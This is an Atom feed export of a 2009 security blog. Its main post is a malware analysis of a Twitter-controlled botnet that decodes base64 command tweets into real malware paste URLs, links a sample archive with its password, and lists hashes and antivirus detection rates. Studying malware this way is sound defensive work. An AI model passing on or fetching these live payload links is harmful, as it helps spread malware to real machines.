<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1488631056342763499</id><updated>2011-11-06T02:57:03.705-08:00</updated><category term='firmware'/><category term='efi'/><category term='password'/><category term='apple'/><title type='text'>my 20%</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://paulmakowski.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://paulmakowski.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Paul Makowski</name><uri>http://www.blogger.com/profile/06722483848813928811</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_Ti3b6sEsE2E/SdJAjeETubI/AAAAAAAAAYQ/KyOWpKK1L4M/S220/DSC03522.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>5</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1488631056342763499.post-3165610065748667360</id><published>2009-08-16T21:38:00.001-07:00</published><updated>2009-08-16T21:38:50.012-07:00</updated><title type='text'>Blog Moved</title><content type='html'>Please update your links.  I'm moving my blog here:&lt;br /&gt;&lt;a href="http://paulmakowski.wordpress.com"&gt;&lt;br /&gt;paulmakowski.wordpress.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Thanks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1488631056342763499-3165610065748667360?l=paulmakowski.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://paulmakowski.blogspot.com/feeds/3165610065748667360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://paulmakowski.blogspot.com/2009/08/blog-moved.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/3165610065748667360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/3165610065748667360'/><link rel='alternate' type='text/html' href='http://paulmakowski.blogspot.com/2009/08/blog-moved.html' title='Blog Moved'/><author><name>Paul Makowski</name><uri>http://www.blogger.com/profile/06722483848813928811</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_Ti3b6sEsE2E/SdJAjeETubI/AAAAAAAAAYQ/KyOWpKK1L4M/S220/DSC03522.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1488631056342763499.post-2691240813125798403</id><published>2009-08-15T15:48:00.001-07:00</published><updated>2009-08-16T21:33:52.002-07:00</updated><title type='text'>A Closer Look at the Twitter-Controlled Botnet (Part 1)</title><content type='html'>&lt;span style="font-style: italic;"&gt; I'VE MOVED MY BLOG.  PLEASE UPDATE YOUR LINKS TO &lt;a href="http://paulmakowski.wordpress.com/"&gt;PAULMAKOWSKI.WORDPRESS.COM&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;THIS POST CAN BE FOUND HERE:&lt;br /&gt;&lt;a href="http://paulmakowski.wordpress.com/"&gt;http://paulmakowski.wordpress.com/2009/08/16/a-closer-look-at-the-twitter-controlled-botnet-part-1/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;THIS WILL BE THE LAST POST MADE TO BLOGSPOT!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Part 1 of this post will cover getting the malware, decoding it and scanning it.  If I have time, Part 2 will be some disassemb&lt;span style="font-size:100%;"&gt;ly &amp;amp; debugging (both static and dynamic).&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;Preface:&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;I wasn't aware of &lt;a href="http://asert.arbornetworks.com/2009/08/twitter-based-botnet-command-channel/"&gt;Jose Nazario's post&lt;/a&gt; concerning this topic while I was conducting this research; I had only been exposed to the &lt;a href="http://www.wired.com/threatlevel/2009/08/botnet-tweets/"&gt;Wired Threat Level article&lt;/a&gt; prior to researching.  So while I present some of the same information as Jose, this duplication of information only came to my attention afterwords.&lt;br /&gt;&lt;br /&gt;If you've read Jose's post, this post may still be worth the read for several reasons:&lt;br /&gt;- Jose and I differed on some of the tools &amp;amp; techniques used.&lt;br /&gt;- I attempt to offer a more detailed description of my methods/logic as a pseudo-tutorial.&lt;br /&gt;- I mirror all the necessary info so the readers can do this themselves.&lt;br /&gt;- There's a quick discussion on some malware I found hosted at &lt;a href="http://www.ubuntu.com/"&gt;ubuntu.com&lt;/a&gt; (Jose probably saw it too but didn't mention it) as well as a possible lead to a very sloppy botnet master.&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;Getting the Malware:&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;I was reading some feeds on Friday (Aug 14th) &lt;/span&gt;and came across &lt;a href="http://www.wired.com/threatlevel/2009/08/botnet-tweets/"&gt;Wired's article on outsourcing botnet C&amp;amp;C (command &amp;amp; control) to Twitter&lt;/a&gt;.  What caught my eye wasn't so much the article itself but the &lt;a style="font-weight: bold;" href="http://www.wired.com/images_blogs/threatlevel/2009/08/botnet_arbor.jpg"&gt;screenshot&lt;/a&gt; accompanying the article.  Many times when major outlets report on botnet/worms/virii/etc, crucial details are left out either intentionally (to protect the innocent) or accidentally.  This was not the case with this article.&lt;br /&gt;&lt;br /&gt;I immediately recognized the tweets in the above screenshot as being base64 encoded.  Furthermore, all of the posts started with the same 18 characters, indicating to me that these are not encrypted nor obfuscated beyond the simple base64 encoding.  Perhaps the botnet herders are using &lt;a href="http://www.digininja.org/projects/kreiosc2.php"&gt;Robin Wood's KreiosC2&lt;/a&gt; for nefarious purposes?  This is evidence for a fairly unsophisticated botnet herder.&lt;br /&gt;&lt;br /&gt;I transcribed the messages captured in the screenshot and &lt;a href="http://home2.paulschou.net/tools/xlate/"&gt;decoded them&lt;/a&gt; in order from most recent to least recent.  Some contained what appeared to be multiple links (redirections valid as of Aug 14th, 2009):&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS8xN2EzdFMg&lt;/span&gt;&lt;br /&gt;http://bit.ly/17a3tS (malware)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://rifers.org/paste/content/paste/9509/body?key=upd4t3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2&lt;/span&gt;&lt;br /&gt;http://bit.ly/LOfRO (malware)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://rifers.org/paste/content/paste/9508/body?key=upd4t3&lt;/span&gt;&lt;br /&gt;http://bit.ly/Img (unrelated?)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://www.friedbeef.com/save-time-on-your-spreadsheets-asap-utilities/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN&lt;/span&gt;&lt;br /&gt;http://bit.ly/17l4Fa (malware)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://rifers.org/paste/content/paste/9507/body?key=upd4t3&lt;/span&gt;&lt;br /&gt;http://bit.ly/1 (unrelated?)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://www.blogger.com/profile/09172993341866649612&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b&lt;/span&gt;&lt;br /&gt;http://bit.ly/pmSuc (malware)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://paste.ubuntu.com/252515/plain/&lt;/span&gt;&lt;br /&gt;http://bit.ly/17 (unrelated?)&lt;br /&gt;|_ &lt;span style="font-style: italic;"&gt;http://www.17tech.com/soft/index.shtml&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC&lt;/span&gt;&lt;br /&gt;http://bit.ly/GhuUu &lt;/span&gt;&lt;span style="font-size:85%;"&gt;(malware)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;|_ &lt;span style="font-style: italic;"&gt;http://rifers.org/paste/content/paste/9506/body&lt;/span&gt;&lt;br /&gt;http://bit.ly/Qj &lt;/span&gt;&lt;span style="font-size:85%;"&gt; (unrelated?)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;|_ http://nossacamiseta.net/product_info.php/products_id/564&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS9RakFaWQ==&lt;/span&gt;&lt;br /&gt;http://bit.ly/QjAZY &lt;/span&gt;&lt;span style="font-size:85%;"&gt;(dead link)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;|_ &lt;span style="font-style: italic;"&gt;http://paste.debian.net/44059/download/44059&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS83UGFEOQ==&lt;/span&gt;&lt;br /&gt;http://bit.ly/7PaD9 &lt;/span&gt;&lt;span style="font-size:85%;"&gt;(dead link)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;|_ &lt;span style="font-style: italic;"&gt;http://paste.debian.net/44056/download/44056&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0&lt;/span&gt;&lt;br /&gt;http://bit.ly/3RwAN &lt;/span&gt;&lt;span style="font-size:85%;"&gt;(dead link)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;|_ &lt;span style="font-style: italic;"&gt;http://pastebin.com/pastebin.php?dl=m49f3b4c2&lt;/span&gt;&lt;br /&gt;http://bit.ly/2pS &lt;/span&gt;&lt;span style="font-size:85%;"&gt;(unrelated?)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;|_ &lt;span style="font-style: italic;"&gt;http://friendfeed.com/koltregaskes/6c53228d/twine_official-i-ll-e-mail-straight-away-any &lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;There's several interesting items here, in no particular order:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;It appears as though Debian is better at proactively moderating these type of posts than Ubuntu is (all the Debian links were dead when I tried them but the Ubuntu link worked fine). In Ubuntu's defense, however, the offending links were killed within an hour of me notifying them.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Payloads are being pushed out in rapid succession to both the C&amp;amp;C venues (Twitter, Jaiku, Tumblr, etc) and the payload hosting sites, indicating that this process has been automated. Automated payload deployment was determined by looking at some of the URLs linked in the Twitter screenshot:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;http://rifers.org/paste/content/paste/&lt;span style="font-weight: bold;"&gt;9506&lt;/span&gt;/body&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;http://rifers.org/paste/content/paste/&lt;span style="font-weight: bold;"&gt;9507&lt;/span&gt;/body?key=upd4t3&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;http://rifer&lt;span style="font-size:100%;"&gt;s.org/paste/content/paste/&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;9508&lt;/span&gt;&lt;span style="font-size:100%;"&gt;/body?key=upd4t3&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-style: italic;font-size:85%;" &gt;http://rifers.org/paste/content/paste/&lt;span style="font-weight: bold;"&gt;9509&lt;/span&gt;/body?key=upd4t3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;It can be deduced from these URLs that malware was uploaded to &lt;a href="http://rifers.org/"&gt;rifers.org&lt;/a&gt; in a short enough time period to warrant consecutive numbers.  Furthermore, it is clear that whoever controlled the Twitter C&amp;amp;C made these uploads as well, judging by the &lt;span style="font-weight: bold;font-family:courier new;" &gt;upd4t3&lt;/span&gt; handle present across services.&lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;All th&lt;/span&gt;e Twitter posts that included two redirect URLs appear to have a nonsense link as the second URL.  If anyone has a theory as to the purpose of these secondary links, please leave a comment or shoot me an email @ my[remove_this].hndl@gmail.com&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The botnet herder's name is Rafael? I took another look at the malware hosted at Ubuntu and removing the &lt;span style="font-family:courier new;"&gt;plain/&lt;/span&gt;:&lt;br /&gt;&lt;span style="font-size:85%;"&gt; &lt;span style="font-style: italic;"&gt;http://paste.ubuntu.com/252515/&lt;/span&gt; &lt;/span&gt;(&lt;a href="https://tegosecurity.com/mirror/Ubuntu%20Pastebin%20%28252515%29.html"&gt;mirror&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Decoding the Malware:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;&lt;a href="https://tegosecurity.com/mirror/MALWARE_base64.zip"&gt;Get the base64 samples&lt;/a&gt; (password: infected).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Turning these base64 strings into something meaningful was a little more involved than simply decoding them.  Of course the first thing I did was decode them.  For that I wrote &lt;a href="https://tegosecurity.com/tools/b64_decode.zip"&gt;a little Python script&lt;/a&gt;. (I'm new to Python and figured this would be a simple exercise.  It was.)&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;# decodes base64 files&lt;br /&gt;# (C) 2009 Paul Makowski.  GPLv2.&lt;br /&gt;# usage: python /b64_decode.py (encoded_file) (output_file)&lt;br /&gt;&lt;br /&gt;import base64&lt;br /&gt;import sys&lt;br /&gt;&lt;br /&gt;encodedFile = sys.argv[1]&lt;br /&gt;outputFile = sys.argv[2]&lt;br /&gt;&lt;br /&gt;encodedFileHndl = open(encodedFile,"r")&lt;br /&gt;outputFileHndl = open(outputFile, "w")&lt;br /&gt;&lt;br /&gt;outputFileHndl.write(base64.b64decode(encodedFileHndl.read()))&lt;br /&gt;&lt;br /&gt;encodedFileHndl.close();&lt;br /&gt;outputFileHndl.close();&lt;/span&gt;&lt;/blockquote&gt;After decoding the malware I now had 5 files and named them after their URLs: 9506, 9507, 9508, 9509 &amp;amp; 252515.&lt;br /&gt;&lt;br /&gt;I ran an md5 on all of them (I used OS X... it would be &lt;span style="font-family:courier new;"&gt;md5sum&lt;/span&gt; in Linux):&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;$ md5 *.base64&lt;br /&gt;MD5 (252515.base64) = a5f84f74cf9aa832355d5cd558cbfca6&lt;br /&gt;MD5 (9506.base64) = 7743eac81be2b803093a6277323f17cb&lt;br /&gt;MD5 (9507.base64) = a5f84f74cf9aa832355d5cd558cbfca6&lt;br /&gt;MD5 (9508.base64) = a5051a6e5365bdc4dd8267e62d3e2902&lt;br /&gt;MD5 (9509.base64) = 1a81e69e65b75f8b9e72e94c6f86a52b&lt;/span&gt;&lt;/blockquote&gt;As you can see, payloads &lt;span style="font-family:courier new;"&gt;9507&lt;/span&gt; from rifers.org and &lt;span style="font-family:courier new;"&gt;252515&lt;/span&gt; from ubuntu.com are actually the same payload.  (Yes I know about md5 collisions...but there's very little point to messing with the hashes in this scenario.)&lt;br /&gt;&lt;br /&gt;So now we've narrowed down the available payloads to 4: &lt;span style="font-family:courier new;"&gt;9506&lt;span style="font-family:georgia;"&gt; through &lt;/span&gt;9509&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;.&lt;/span&gt;  I named these &lt;span style="font-family:courier new;"&gt;9506.bin&lt;/span&gt; through &lt;span style="font-family:courier new;"&gt;9509.bin&lt;span style="font-family:georgia;"&gt; (since at this point I didn't know their true filetype)&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:georgia;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Making Sense of the Malware:&lt;/span&gt;&lt;br /&gt;The first thing I tried after I de-base64'ed the payloads was to take a look at them with a hex editor.  Being on OS X, I used &lt;a href="http://www.ridiculousfish.com/hexfiend/"&gt;Hex Fiend&lt;/a&gt; (if I were on Windows, I'd use &lt;a href="http://www.winhex.com/winhex/"&gt;WinHex&lt;/a&gt;; Linux I'd use &lt;span style="font-family:courier new;"&gt;hexedit&lt;/span&gt;):&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Ti3b6sEsE2E/Soev3HL1XYI/AAAAAAAAA2Y/Ay-Tm_AJeJs/s1600-h/hex_fiend.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 208px;" src="http://3.bp.blogspot.com/_Ti3b6sEsE2E/Soev3HL1XYI/AAAAAAAAA2Y/Ay-Tm_AJeJs/s400/hex_fiend.png" alt="" id="BLOGGER_PHOTO_ID_5370454442018954626" border="0" /&gt;&lt;/a&gt;I took note of two items:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;This is not a Windows executable; this is a &lt;span style="font-family:courier new;"&gt;.zip&lt;/span&gt; file.  I determined this by the &lt;a href="http://en.wikipedia.org/wiki/Magic_number_%28programming%29"&gt;magic number&lt;/a&gt; at the beginning of the file (seen above).  &lt;span style="font-family:courier new;"&gt;PK&lt;/span&gt; means &lt;span style="font-family:courier new;"&gt;zip&lt;/span&gt;; &lt;span style="font-family:courier new;"&gt;MZ&lt;/span&gt; (or &lt;span style="font-family:courier new;"&gt;ZM&lt;/span&gt;) means &lt;span style="font-family:courier new;"&gt;Windows PE&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;file&lt;/span&gt; verified these findings:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;$ file 950*.bin&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;9506.bin:        Zip archive data, at least v2.0 to extract&lt;br /&gt;9507_252515.bin: Zip archive data, at least v2.0 to extract&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;9508.bin:        Zip archive data, at least v2.0 to extract&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;&lt;br /&gt;9509.bin:        Zip archive data, at least v2.0 to extract&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;There's a file called &lt;span style="font-family:courier new;"&gt;gbpm.dll&lt;/span&gt; inside the archive. At the bottom of the binary (not shown), is another string that reads &lt;span style="font-family:courier new;"&gt;gbpm.exe&lt;/span&gt;.  This also turned out to be a file in the archive.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;All of the other payloads appeared the same way under a hex editor.  I renamed them all from &lt;span style="font-family:courier new;"&gt;*.bin&lt;/span&gt; to &lt;span style="font-family:courier new;"&gt;*.zip&lt;/span&gt; and unzipped them.&lt;br /&gt;&lt;br /&gt;Now I had four folders, each containing a unique &lt;span style="font-family:courier new;"&gt;gdpm.dll&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;gdpm.exe&lt;/span&gt;.  I renamed all the &lt;span style="font-family:courier new;"&gt;gdpm.exe&lt;/span&gt;s to &lt;span style="font-family:courier new;"&gt;gdpm.livemalware&lt;/span&gt; so I wouldn't accidentally execute them on my Windows box.&lt;br /&gt;&lt;br /&gt;I checked the md5s to see if any were duplicates:&lt;br /&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;$ md5 950*/*.dll &amp;amp;&amp;amp; md5 950*/*.livemalware&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9506/gbpm.dll) = 0dc041988367e4ca0faa1f119c748efb&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9507_252515/gbpm.dll) = 6cd9ee23dedf7c6a53668a7c4f830d78&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9508/gbpm.dll) = 1a1b3c05470ea788a86c4b9ed5c9b28f&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9509/gbpm.dll) = b15df1614d09ebb7b15d04ce914ee05f&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9506/gbpm.livemalware) = 4c537d461490ac998256c6deca11eeb4&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9507_252515/gbpm.livemalware) = 359ca7a025c3fe3cb7f60a3dd8ff4478&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9508/gbpm.livemalware) = b3a7f3145dc93e8721a4078f5e32fb44&lt;/span&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;MD5 (9509/gbpm.livemalware) = 08b05a33c6a989cc9c3f0a0918afa943&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;None were the same - I have 4 different pairs of malware samples :)&lt;br /&gt;&lt;br /&gt;I uploaded the files to &lt;a href="http://www.virustotal.com/"&gt;Virustotal&lt;/a&gt; to see if any were recognized.  AV detection was poor to say the least (not that I'm surprised):&lt;br /&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://www.virustotal.com/analisis/3f8bc3d0d6edc376caf54f24d5548dccc86c6acff604dca02557c91e456ce4c4-1250294593"&gt;9506/gbpm.dll&lt;/a&gt; (4/41 antivirus detection) (new file)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/1839e0846cd2b00e7a922386981a9082f35586108d77b6fa5357dc5e5213415d-1250294742"&gt;9506/gbpm.exe&lt;/a&gt; (11/39 antivirus detection) (new file)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/89139a94879f890a4fb0dc4902a70cab0a9f0676b0a47d1291d8a895f9fcc674-1250295291"&gt;9507_252515/gbpm.dll&lt;/a&gt; (4/41 antivirus detection) (new file)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/e2a779520cead9d37e7896dfc6f472dec401f6d62f4f0334170559bbc9bc6157-1250294404"&gt;9507_252515/gbpm.exe&lt;/a&gt; (13/39 antivirus detection)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/df0b21a668f052bd0aa6ff3254ddd640b1cd5f9cb6bc2487f58d18d3f0cd94f3-1250294405"&gt;9508/gbpm.dll&lt;/a&gt; (5/41 antivirus detection)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/a7fb20fa37a662e164ffbc39b8550822d56d2166d5f8fb09f837fefa5fd8c228-1250294413"&gt;9508/gbpm.exe&lt;/a&gt; (13/39 antivirus detection)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/eec9b310b7a6a7fa834d714a129bd31437b15c6e773e750f1c9c207ed61252dd-1250259808"&gt;9509/gbpm.dll&lt;/a&gt; (6/41 antivirus detection)&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/3776542910264c9c7abccabf087d31cd3d82ee3ff4b8d88a21c86a3caebf9351-1250259605"&gt;9509/gbpm.exe&lt;/a&gt; (8/41 antivirus detection)&lt;/span&gt;   &lt;/blockquote&gt;The files marked &lt;span style="font-family:courier new;"&gt;new file&lt;/span&gt; had not been seen by Virustotal previously.  All &lt;span style="font-family:courier new;"&gt;.dll&lt;/span&gt;s had a fairly low detection rate.  That combined with the fact that some had not been seen by Virustotal previously reminds me of &lt;a href="http://www.pandasecurity.com/usa/homeusers/media/press-releases/viewnews?noticia=9805"&gt;PandaLabs recent press release&lt;/a&gt; on virii only being useful for 24 hours.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So what kind of malware do we have anyways?  Virustotal points toward Eldorado or Svelta for some files.  Jose says in his post that these aren't the botnet control agents, but are additional feature-adding payloads.  Perhaps this means keyloggers, DDoS tools, etc?&lt;br /&gt;&lt;br /&gt;-----&lt;br /&gt;&lt;br /&gt;In Part 2 of this post, I will delve into dissecting the malware and making sense of what it does.  Hopefully manual analysis will yield more information that AV signatures...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1488631056342763499-2691240813125798403?l=paulmakowski.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://paulmakowski.blogspot.com/feeds/2691240813125798403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://paulmakowski.blogspot.com/2009/08/closer-look-at-twitter-controlled.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/2691240813125798403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1488631056342763499/posts/default/2691240813125798403'/><link rel='alternate' type='text/html' href='http://paulmakowski.blogspot.com/2009/08/closer-look-at-twitter-controlled.html' title='A Closer Look at the Twitter-Controlled Botnet (Part 1)'/><author><name>Paul Makowski</name><uri>http://www.blogger.com/profile/06722483848813928811</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='http://1.bp.blogspot.com/_Ti3b6sEsE2E/SdJAjeETubI/AAAAAAAAAYQ/KyOWpKK1L4M/S220/DSC03522.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Ti3b6sEsE2E/Soev3HL1XYI/AAAAAAAAA2Y/Ay-Tm_AJeJs/s72-c/hex_fiend.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1488631056342763499.post-7664020385009160684</id><published>2009-07-20T12:08:00.001-07:00</published><updated>2009-08-17T15:42:58.064-07:00</updated><title type='text'>HTTP POST -&gt; HTTPS = Bad Idea®</title><content type='html'>This will be a quick post (pun not intended) on why you should never allow anything sensitive to be sent from an unsecured page to an SSL-encrypted page.  Many, many websites do this (Digg &amp;amp; Facebook quickly come to mind), and it's a serious problem that has an easy solution.&lt;br /&gt;&lt;br /&gt;When a user logs into a service, she has a reasonable expectation her credentials will be secured in transit.  In the context of web applications, this means SSL.&lt;br /&gt;&lt;br /&gt;A typical Facebook login goes like this:&lt;br /&gt;1) Adam requests http://www.facebook.com&lt;br /&gt;2) Facebook sends a response with:&lt;br /&gt;&lt;pre id="line22"&gt;&lt;blockquote&gt;&lt;&lt;span class="start-tag"&gt;form&lt;/span&gt;&lt;span class="attribute-name"&gt; method&lt;/span&gt;=&lt;span class="attribute-value"&gt;"POST" &lt;/span&gt;&lt;span class="attribute-name"&gt;action&lt;/span&gt;=&lt;span class="attribute-value"&gt;"https://login.facebook.com/login.php?login_attempt=1"&lt;br /&gt;&lt;/span&gt;&lt;span class="attribute-name"&gt;name&lt;/span&gt;=&lt;span 